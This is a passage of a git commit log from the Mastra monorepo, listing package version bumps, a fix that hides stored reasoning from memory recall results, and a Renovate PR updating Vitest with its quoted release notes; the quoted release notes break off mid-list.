## @mastra/memory@1.41.0-alpha.3


## @mastra/playground-ui@68.0.0-alpha.3


## @mastra/ring-signals@0.1.0-alpha.0


## @mastra/libsql@1.29.0-alpha.2


## @mastra/mongodb@1.26.0-alpha.2


## @mastra/mysql@0.16.0-alpha.3


## @mastra/pg@1.35.0-alpha.3


## @mastra/discord@1.3.3-alpha.0


## @mastra/slack@1.8.1-alpha.0


## @mastra/teams@0.1.4-alpha.0


## @mastra/telegram@0.2.5-alpha.0


## @mastra/client-js@1.59.0-alpha.3


## @mastra/react@1.14.1-alpha.3


## @mastra/deployer-cloud@1.82.0-alpha.3


## @mastra/longmemeval@1.1.41-alpha.3


## @mastra/opencode@0.1.41-alpha.3


## create-factory@0.4.2-alpha.3


## @mastra/code-sdk@1.18.0-alpha.3


## mastracode@0.49.0-alpha.3


## @mastra/arize@1.3.29-alpha.2


## @mastra/arthur@0.4.29-alpha.2


## @mastra/laminar@1.3.31-alpha.2


## @mastra/langfuse@1.6.5-alpha.2


## @mastra/otel-bridge@1.5.21-alpha.2


## @mastra/otel-exporter@1.5.1-alpha.2


## @mastra/sentry@1.2.31-alpha.3


## mastra@1.38.0-alpha.3


## @mastra/connect@1.3.1-alpha.1


## @mastra/deployer@1.82.0-alpha.3


## @mastra/editor@0.17.0-alpha.3


## @mastra/evals@1.10.11-alpha.0


## @mastra/mcp-docs-server@1.3.12-alpha.4


## @mastra/server@1.82.0-alpha.3


## @mastra/elysia@0.1.22-alpha.3


## @mastra/express@1.5.26-alpha.3


## @mastra/fastify@1.5.26-alpha.3


## @mastra/hono@1.7.24-alpha.3


## @mastra/koa@1.7.26-alpha.3


## @mastra/nestjs@0.2.41-alpha.3


## @mastra/next@0.2.40-alpha.3


## @mastra/tanstack-start@0.2.40-alpha.3


## @mastra/turso@0.1.20-alpha.2


## @mastra/inngest@1.11.1-alpha.2


## @mastra/temporal@0.5.0-alpha.3


## create-mastra@1.38.0-alpha.3


## @internal/playground@1.38.0-alpha.3

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-03 13:59:38 -07:00
Aamish
d7d18072ba
fix(memory): omit stored reasoning from recall results (#28810)
Fixes https://github.com/mastra-ai/mastra/issues/28809.

Recall returns stored reasoning as ordinary tool text. Save an assistant
message with reasoning at part 0 and visible text at part 1, then page
its messages or request part 0 directly: the reasoning is exposed.

Exclude reasoning/redacted-reasoning in the shared formatter, use
rendered visibility for paging/fallback, and stop advertising a
reasoning filter. Visible text/tool evidence keeps its original part
indices. Stale helper calls with a reasoning filter return no reasoning.

Tests: `PR_ROOT=$PWD PR_PACKAGE=packages/memory
PR_TESTS=src/tools/om-tools.test.ts node node_modules/vitest/vitest.mjs
run --config /tmp/m18-vitest.config.mjs --reporter=dot` passed 146/146.
Eleven regression cases failed before the fix. Tests use real
memory/storage and cover low/high paging, direct indices, filters, tool
schema and next-message fallback.

The temporary source config stubs unused catalog/embedding imports. Full
builds/typechecks and external database suites were not run. Stored
messages, provider history replay, and the existing recall lookahead
limits retain their behavior.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

Recall results should show useful message content, not stored reasoning
that looks like ordinary text. This change hides reasoning while keeping
the original positions of visible text and tool results.

## Changes

- Excludes stored `reasoning` and `redacted-reasoning` parts from recall
output.
- Uses renderable content to decide which messages count toward paging
and fallback.
- Removes `reasoning` from the advertised `partType` schema. Stale calls
that still request it return no matching parts.
- Preserves stored part indices for visible text and tool results.
- Adds regression tests for hidden parts, paging, filters, schema, and
fallback.
- Adds a patch changeset for `@mastra/memory`.

## Validation

The PR description reports 146 passing tests. It also states that full
builds, typechecks, and external database suites were not run. The
supplied repository output did not include test execution results.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Aamish <your@email.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 12:21:07 -08:00
Dane - AI (Mastra)
3bdb4ec5f4
chore(deps): update build tools (major) (#29026)
> [!NOTE]
> This PR body was truncated due to platform limits.

This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
| [@vitest/coverage-v8](https://vitest.dev/guide/coverage)
([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8))
| pnpm.catalog.default | major | [`4.1.12` →
`5.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-v8/4.1.12/5.0.5)
| `5.1.0` |
| [@vitest/mocker@>=2.1.0
<4.1.12](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/mocker)
([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/mocker))
| pnpm-workspace.overrides | major | [`4.1.12` →
`5.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fmocker@>=2.1.0
<4.1.12/4.1.12/5.0.5) | `5.1.0` |
| [@vitest/ui](https://vitest.dev/guide/ui)
([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui))
| pnpm.catalog.default | major | [`4.1.12` →
`5.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fui/4.1.12/5.0.5) |
`5.1.0` |
| [dotenv](https://redirect.github.com/motdotla/dotenv) |
devDependencies | major | [`^17.4.2` →
`^18.0.9`](https://renovatebot.com/diffs/npm/dotenv/17.4.2/18.0.9) | |
| [dotenv](https://redirect.github.com/motdotla/dotenv) |
devDependencies | major | [`17.4.2` →
`18.0.9`](https://renovatebot.com/diffs/npm/dotenv/17.4.2/18.0.9) | |
| [vitest](https://vitest.dev)
([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest))
| devDependencies | major | [`^4.1.12` →
`^5.0.5`](https://renovatebot.com/diffs/npm/vitest/4.1.12/5.0.5) |
`5.1.0` |
| [vitest](https://vitest.dev)
([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest))
| pnpm.catalog.default | major | [`4.1.12` →
`5.0.5`](https://renovatebot.com/diffs/npm/vitest/4.1.12/5.0.5) |
`5.1.0` |
| [vitest](https://vitest.dev)
([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest))
| devDependencies | major | [`4.1.12` →
`5.0.5`](https://renovatebot.com/diffs/npm/vitest/4.1.12/5.0.5) |
`5.1.0` |
| [vitest@>=2.1.0 <4.1.12](https://vitest.dev)
([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest))
| pnpm-workspace.overrides | major | [`4.1.12` →
`5.0.5`](https://renovatebot.com/diffs/npm/vitest@>=2.1.0
<4.1.12/4.1.12/5.0.5) | `5.1.0` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/9505) for more information.

---

### Release Notes

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/coverage-v8)</summary>

###
[`v5.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v5.0.5)

[Compare
Source](https://redirect.github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5)

#####    🐞 Bug Fixes

- Keep vite default `fs.deny` with api token file  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Claude Opus 5.5** in
[#&#8203;11578](https://redirect.github.com/vitest-dev/vitest/issues/11578)
[<samp>(28dc1)</samp>](28dc1edfb)
- Handle quoted file names in `--changed`  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11583](https://redirect.github.com/vitest-dev/vitest/issues/11583)
[<samp>(14921)</samp>](14921e962)
- Add `data` to the `import.meta.hot` stub  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11590](https://redirect.github.com/vitest-dev/vitest/issues/11590)
[<samp>(3a828)</samp>](3a8289ac3)
- Set `skip` in `skipIf`, ignore `undefined` options  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11591](https://redirect.github.com/vitest-dev/vitest/issues/11591)
[<samp>(d523a)</samp>](d523a15f2)
- Skip builtin loading in async leak detector  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11598](https://redirect.github.com/vitest-dev/vitest/issues/11598)
[<samp>(fe86a)</samp>](fe86a64c6)
- Keep the import frame in native loader errors  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11599](https://redirect.github.com/vitest-dev/vitest/issues/11599)
[<samp>(9697b)</samp>](9697b3894)
- Run hook cleanups when a later hook fails  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11605](https://redirect.github.com/vitest-dev/vitest/issues/11605)
[<samp>(6c5a4)</samp>](6c5a44720)
- Release mocks of finished test files  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11607](https://redirect.github.com/vitest-dev/vitest/issues/11607)
[<samp>(e9c3d)</samp>](e9c3d72f0)
- Abort all running tests on cancel  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11606](https://redirect.github.com/vitest-dev/vitest/issues/11606)
[<samp>(6621a)</samp>](6621a72d6)
- **browser**:
- Ignore synthetic pagehide events  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11582](https://redirect.github.com/vitest-dev/vitest/issues/11582)
[<samp>(ca081)</samp>](ca0813584)
- Run plugin buildStart on server creation  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11593](https://redirect.github.com/vitest-dev/vitest/issues/11593)
[<samp>(ea611)</samp>](ea611e44c)
- Drop late connections of closed sessions  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11600](https://redirect.github.com/vitest-dev/vitest/issues/11600)
[<samp>(f161e)</samp>](f161e6df2)
- Wait 30s for the browser to close  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11601](https://redirect.github.com/vitest-dev/vitest/issues/11601)
[<samp>(6498b)</samp>](6498b666a)
- Run global setup once with instances  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11596](https://redirect.github.com/vitest-dev/vitest/issues/11596)
[<samp>(8dd67)</samp>](8dd67c262)
- **reporter**:
- End reason `&#&#8203;39;failed&#&#8203;39;` on worker crash  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11568](https://redirect.github.com/vitest-dev/vitest/issues/11568)
[<samp>(6ae8e)</samp>](6ae8e89ff)

#####     [View changes on
GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5)

###
[`v5.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v5.0.4)

[Compare
Source](https://redirect.github.com/vitest-dev/vitest/compare/v5.0.3...v5.0.4)

#####    🚀 Features

- **experimental**:
- Tag cache directories with CACHEDIR.TAG  -  by
[@&#8203;lifeiscontent](https://redirect.github.com/lifeiscontent) in
[#&#8203;11461](https://redirect.github.com/vitest-dev/vitest/issues/11461)
[<samp>(a8ea3)</samp>](a8ea3c8fd)
- Support `test.ui.theme` option  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11499](https://redirect.github.com/vitest-dev/vitest/issues/11499)
[<samp>(1da66)</samp>](1da66405d)
- Highlight selector multiple matches in trace view  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Claude Opus 5.5** in
[#&#8203;11489](https://redirect.github.com/vitest-dev/vitest/issues/11489)
[<samp>(5abba)</samp>](5abba1e1b)
- Print how many tests were affected and a total when running
`--changed`  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11424](https://redirect.github.com/vitest-dev/vitest/issues/11424)
[<samp>(a2336)</samp>](a23368585)
- Add an option to cache dependencies instead of statically parsing them
 -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11515](https://redirect.github.com/vitest-dev/vitest/issues/11515)
[<samp>(c0601)</samp>](c06012ac8)
- Add fit and zoom controls to trace viewer  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Claude Opus 5.5** in
[#&#8203;11490](https://redirect.github.com/vitest-dev/vitest/issues/11490)
[<samp>(f5dd9)</samp>](f5dd99ed0)

#####    🐞 Bug Fixes

- Fail the run on git and location filter errors  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11430](https://redirect.github.com/vitest-dev/vitest/issues/11430)
[<samp>(30d03)</samp>](30d0304d2)
- Enable fsModuleCache by default  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11435](https://redirect.github.com/vitest-dev/vitest/issues/11435)
[<samp>(ad208)</samp>](ad208cc29)
- Track project files and mocks with --changed  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11432](https://redirect.github.com/vitest-dev/vitest/issues/11432)
[<samp>(b0f2b)</samp>](b0f2b3bb9)
- Refactor caching, fix `:` in project and change the shape of `results`
cache  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11453](https://redirect.github.com/vitest-dev/vitest/issues/11453)
[<samp>(9673c)</samp>](9673c49a4)
- Keep full `$` string values when `taskTitleValueFormatTruncate` is 0
 -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa),
**Hiroshi Ogawa** and **Claude Opus 5.5** in
[#&#8203;11485](https://redirect.github.com/vitest-dev/vitest/issues/11485)
[<samp>(4f7e1)</samp>](4f7e1799b)
- Resolve node builtins in client environments  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11417](https://redirect.github.com/vitest-dev/vitest/issues/11417)
[<samp>(56b31)</samp>](56b319ac6)
- Fix module graph builtin externals after
[#&#8203;11421](https://redirect.github.com/vitest-dev/vitest/issues/11421)
 -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa),
**Hiroshi Ogawa** and **Claude Opus 5.5** in
[#&#8203;11491](https://redirect.github.com/vitest-dev/vitest/issues/11491)
and
[#&#8203;11421](https://redirect.github.com/vitest-dev/vitest/issues/11421)
[<samp>(008e1)</samp>](008e184cb)
- Wrap module mocks during in-source testing  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11505](https://redirect.github.com/vitest-dev/vitest/issues/11505)
[<samp>(36d19)</samp>](36d19cb00)
- Handle line endings in snapshot  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11522](https://redirect.github.com/vitest-dev/vitest/issues/11522)
[<samp>(4c468)</samp>](4c468aa40)
- Respect root in projects  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11521](https://redirect.github.com/vitest-dev/vitest/issues/11521)
[<samp>(26642)</samp>](26642f793)
- Resolve mocks in directories with spaces  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11539](https://redirect.github.com/vitest-dev/vitest/issues/11539)
[<samp>(caaef)</samp>](caaef9416)
- **api**:
- Publish the api token atomically  -  by
[@&#8203;umairnawaz333](https://redirect.github.com/umairnawaz333) in
[#&#8203;11323](https://redirect.github.com/vitest-dev/vitest/issues/11323)
[<samp>(6f990)</samp>](6f990fef1)
- **browser**:
- Close the mock route interception race  -  by
[@&#8203;cplieger](https://redirect.github.com/cplieger) and
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;8339](https://redirect.github.com/vitest-dev/vitest/issues/8339)
and
[#&#8203;11083](https://redirect.github.com/vitest-dev/vitest/issues/11083)
[<samp>(d6620)</samp>](d6620fae6)
- Allow toHaveTextContent without arguments  -  by
[@&#8203;nomadical](https://redirect.github.com/nomadical) in
[#&#8203;11425](https://redirect.github.com/vitest-dev/vitest/issues/11425)
[<samp>(8ebcf)</samp>](8ebcf5f8a)
- Apply API options without browser config  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10852](https://redirect.github.com/vitest-dev/vitest/issues/10852)
[<samp>(ad055)</samp>](ad055837b)
- Preserve undefined command arguments  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11497](https://redirect.github.com/vitest-dev/vitest/issues/11497)
[<samp>(1576d)</samp>](1576d3d89)
- Wait for setup mocks before importing a test file  -  by
[@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen) in
[#&#8203;11520](https://redirect.github.com/vitest-dev/vitest/issues/11520)
[<samp>(b61d1)</samp>](b61d1ced3)
- Avoid extra scroll outside the iframe  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11523](https://redirect.github.com/vitest-dev/vitest/issues/11523)
[<samp>(662e8)</samp>](662e8a363)
- Run browser instances as workers  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11525](https://redirect.github.com/vitest-dev/vitest/issues/11525)
[<samp>(bf04b)</samp>](bf04b9ccc)
- ⚠️ This can degrade performance if you have a custom `maxWorkers`
setting. Previously, it was applied incorrectly and could lead to Vitest
using too many resources. For example, a lower number would still open
too many browsers. Fixing it means Vitest opens less instances by
default now.
- Open one cdp session per tester  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11542](https://redirect.github.com/vitest-dev/vitest/issues/11542)
[<samp>(69e63)</samp>](69e6369f6)
- Clean up unmocked and pending mocks  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11537](https://redirect.github.com/vitest-dev/vitest/issues/11537)
[<samp>(5c955)</samp>](5c9552173)
- **coverage**:
- V8 browser memory leak between test files  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11466](https://redirect.github.com/vitest-dev/vitest/issues/11466)
[<samp>(2297d)</samp>](2297d93a8)
- `allowExternal` fails to include uncovered files  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11513](https://redirect.github.com/vitest-dev/vitest/issues/11513)
[<samp>(4ef00)</samp>](4ef000a93)
- Filenames containing brackets incorrectly showing as uncovered  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11531](https://redirect.github.com/vitest-dev/vitest/issues/11531)
[<samp>(0fa80)</samp>](0fa80f53c)
- Istanbul coverage wrong when module transform warmups  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11529](https://redirect.github.com/vitest-dev/vitest/issues/11529)
[<samp>(9f61d)</samp>](9f61dcca2)
- **deps**:
- Update all non-major dependencies  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11167](https://redirect.github.com/vitest-dev/vitest/issues/11167)
[<samp>(c74e0)</samp>](c74e099a9)
- **expect**:
- Fix `Map` and `Set` deep equality in some assertions  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Claude Opus 5.5** in
[#&#8203;11402](https://redirect.github.com/vitest-dev/vitest/issues/11402)
[<samp>(b4e79)</samp>](b4e79fd7a)
- Check value in chai-style returned  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11500](https://redirect.github.com/vitest-dev/vitest/issues/11500)
[<samp>(1aca0)</samp>](1aca02a21)
- **mocker**:
- Fix native loader mocking edge cases  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11540](https://redirect.github.com/vitest-dev/vitest/issues/11540)
[<samp>(cd423)</samp>](cd423ba04)
- **pretty-format**:
- Support boxed symbols  -  by
[@&#8203;lehni](https://redirect.github.com/lehni) in
[#&#8203;11445](https://redirect.github.com/vitest-dev/vitest/issues/11445)
and
[#&#8203;11446](https://redirect.github.com/vitest-dev/vitest/issues/11446)
[<samp>(eba44)</samp>](eba44926e)
- **reporters**:
- Junit to strip ANSI sequences from all XML attributes  -  by
[@&#8203;meganemura](https://redirect.github.com/meganemura) and
**Claude Opus 5.5** in
[#&#8203;11407](https://redirect.github.com/vitest-dev/vitest/issues/11407)
[<samp>(e1a73)</samp>](e1a731470)
- **runner**:
- Don't cache failed fixture setups  -  by
[@&#8203;hamed-bavar](https://redirect.github.com/hamed-bavar) in
[#&#8203;11237](https://redirect.github.com/vitest-dev/vitest/issues/11237)
and
[#&#8203;11238](https://redirect.github.com/vitest-dev/vitest/issues/11238)
[<samp>(4ee66)</samp>](4ee66c021)
- **typecheck**:
- Use typescript pool in toTestSpecification  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11451](https://redirect.github.com/vitest-dev/vitest/issues/11451)
[<samp>(5f273)</samp>](5f2739e74)
- **ui**:
- Remove duplicate browser-open call opening two tabs  -  by
[@&#8203;feastyr69](https://redirect.github.com/feastyr69) in
[#&#8203;11356](https://redirect.github.com/vitest-dev/vitest/issues/11356)
and
[#&#8203;11358](https://redirect.github.com/vitest-dev/vitest/issues/11358)
[<samp>(d7e13)</samp>](d7e1315c1)
- Simplify explorer filtering + fix nested tests when search matches a
suite  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa),
**Hiroshi Ogawa**, **Codex** and **Claude Opus 5.5** in
[#&#8203;11262](https://redirect.github.com/vitest-dev/vitest/issues/11262)
[<samp>(a627b)</samp>](a627be498)
- Store module graph once per environment  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Claude Opus 5.5** in
[#&#8203;11421](https://redirect.github.com/vitest-dev/vitest/issues/11421)
[<samp>(af903)</samp>](af903c65e)
- Mount index.html handler on the ui base path  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Claude Opus 5.5** in
[#&#8203;11517](https://redirect.github.com/vitest-dev/vitest/issues/11517)
[<samp>(1bc24)</samp>](1bc2495c7)
- Center split pane resize handle  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Claude Opus 5.5** in
[#&#8203;11506](https://redirect.github.com/vitest-dev/vitest/issues/11506)
[<samp>(e658b)</samp>](e658b9b6a)
- **vm**:
- Bind `this` to `module.exports`  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11504](https://redirect.github.com/vitest-dev/vitest/issues/11504)
[<samp>(b618a)</samp>](b618afd5c)

#####    🏎 Performance

- Reuse fsModuleCache when filtering by source  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11428](https://redirect.github.com/vitest-dev/vitest/issues/11428)
[<samp>(7ebd9)</samp>](7ebd95fdd)
- **spy**: Reset only mocks that were called or reconfigured  -  by
[@&#8203;johan-gorter](https://redirect.github.com/johan-gorter) and
**Claude Opus 5.5** in
[#&#8203;11197](https://redirect.github.com/vitest-dev/vitest/issues/11197)
[<samp>(28ef9)</samp>](28ef93df2)

#####     [View changes on
GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v5.0.3...v5.0.4)

###
[`v5.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v5.0.3)

[Compare
Source](https://redirect.github.com/vitest-dev/vitest/compare/v5.0.2...v5.0.3)

#####    🐞 Bug Fixes

- Isolate `result.status` between `repeats` runs  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Codex (GPT-6)** in
[#&#8203;11218](https://redirect.github.com/vitest-dev/vitest/issues/11218)
[<samp>(5dbeb)</samp>](5dbebe9e3)
- Don't print an interceptor warning in browser mode  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11377](https://redirect.github.com/vitest-dev/vitest/issues/11377)
[<samp>(15cc0)</samp>](15cc006aa)
- Don't retry when `test.fails` expectedly failed  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Codex (GPT-6)** in
[#&#8203;11219](https://redirect.github.com/vitest-dev/vitest/issues/11219)
[<samp>(b2458)</samp>](b24585f08)
- Scope cache key generators to projects  -  by
[@&#8203;ecoyoung](https://redirect.github.com/ecoyoung) in
[#&#8203;11281](https://redirect.github.com/vitest-dev/vitest/issues/11281)
and
[#&#8203;11301](https://redirect.github.com/vitest-dev/vitest/issues/11301)
[<samp>(92ba7)</samp>](92ba7fc1d)
- **browser**:
- Delay server `listen` until tests start running  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11366](https://redirect.github.com/vitest-dev/vitest/issues/11366)
[<samp>(7d8ed)</samp>](7d8ed3e9b)
- Check mock path boundaries  -  by
[@&#8203;saryn17](https://redirect.github.com/saryn17), **Ryosei Sato**
and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11361](https://redirect.github.com/vitest-dev/vitest/issues/11361)
and
[#&#8203;11362](https://redirect.github.com/vitest-dev/vitest/issues/11362)
[<samp>(1c388)</samp>](1c3888bce)
- Keep config of browser-consumed environments  -  by
[@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen) and
**Claude** in
[#&#8203;11378](https://redirect.github.com/vitest-dev/vitest/issues/11378)
[<samp>(aafc0)</samp>](aafc0996f)
- Ignore page crash while cancelling  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11386](https://redirect.github.com/vitest-dev/vitest/issues/11386)
[<samp>(7c367)</samp>](7c36748fa)
- `toMatchScreenshot` uses wrong reference on retried tests  -  by
[@&#8203;macarie](https://redirect.github.com/macarie) in
[#&#8203;11393](https://redirect.github.com/vitest-dev/vitest/issues/11393)
[<samp>(c22ab)</samp>](c22aba992)
- **cache**:
- Revalidate imports of cached modules  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11381](https://redirect.github.com/vitest-dev/vitest/issues/11381)
[<samp>(38f98)</samp>](38f98855f)
- **deps**:
- Pin `why-is-node-running` to `3.2.1` to avoid users running into
`ERR_PNPM_TRUST_DOWNGRADE`  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11403](https://redirect.github.com/vitest-dev/vitest/issues/11403)
[<samp>(f6c9a)</samp>](f6c9a4977)
- **expect**:
- Pass current equality testers to `expect.extend` asymmetric matchers
 -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa),
**Hiroshi Ogawa** and **Claude** in
[#&#8203;11401](https://redirect.github.com/vitest-dev/vitest/issues/11401)
[<samp>(3e794)</samp>](3e794a96b)
- **jsdom**:
- Support Blob on jsdom 30.1  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11379](https://redirect.github.com/vitest-dev/vitest/issues/11379)
[<samp>(6c49b)</samp>](6c49b7197)
- **pool**:
- Preserve unique pool ids when `groupOrder` is set  -  by
[@&#8203;mtorp](https://redirect.github.com/mtorp) in
[#&#8203;11392](https://redirect.github.com/vitest-dev/vitest/issues/11392)
[<samp>(50312)</samp>](50312ebb4)
- **ui**:
- Split-pane handle overlapping iframe  -  by
[@&#8203;macarie](https://redirect.github.com/macarie) in
[#&#8203;11221](https://redirect.github.com/vitest-dev/vitest/issues/11221)
[<samp>(f91db)</samp>](f91db0dfd)
- **vitest**:
- Remove root temp dir on close  -  by
[@&#8203;abhinav-phi](https://redirect.github.com/abhinav-phi) in
[#&#8203;11248](https://redirect.github.com/vitest-dev/vitest/issues/11248)
[<samp>(7c711)</samp>](7c7119cf7)
- **vm**:
- Do not optimize deps from index.html  -  by
[@&#8203;ezefernandezyf](https://redirect.github.com/ezefernandezyf),
**Hiroshi Ogawa** and **Codex (GPT-6)** in
[#&#8203;11329](https://redirect.github.com/vitest-dev/vitest/issues/11329)
and
[#&#8203;11360](https://redirect.github.com/vitest-dev/vitest/issues/11360)
[<samp>(caf28)</samp>](caf2887de)
- Don't reuse scripts across vite environments  -  by
[@&#8203;MO2k4](https://redirect.github.com/MO2k4), **Martin Oehlert**
and **Claude** in
[#&#8203;11395](https://redirect.github.com/vitest-dev/vitest/issues/11395)
[<samp>(346d3)</samp>](346d3896b)

#####     [View changes on
GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v5.0.2...v5.0.3)

###
[`v5.0.2`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v5.0.2)

[Compare
Source](https://redirect.github.com/vitest-dev/vitest/compare/v5.0.1...v5.0.2)

#####    🐞 Bug Fixes

- Bind `process` in case global is overwritten  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11343](https://redirect.github.com/vitest-dev/vitest/issues/11343)
[<samp>(0b792)</samp>](0b79231ad)
- **detect-async-leaks**:
- Ignore `process.stdio` handles  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11333](https://redirect.github.com/vitest-dev/vitest/issues/11333)
[<samp>(0fd6b)</samp>](0fd6b9790)
- **expect**:
- Fix `toMatchObject` with asymmetric matchers  -  by
[@&#8203;ShreeBohara](https://redirect.github.com/ShreeBohara), **Claude
Opus 5**, [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa),
**Hiroshi Ogawa** and **Codex (GPT-5)** in
[#&#8203;11100](https://redirect.github.com/vitest-dev/vitest/issues/11100)
[<samp>(42523)</samp>](42523289e)
- **jsdom**:
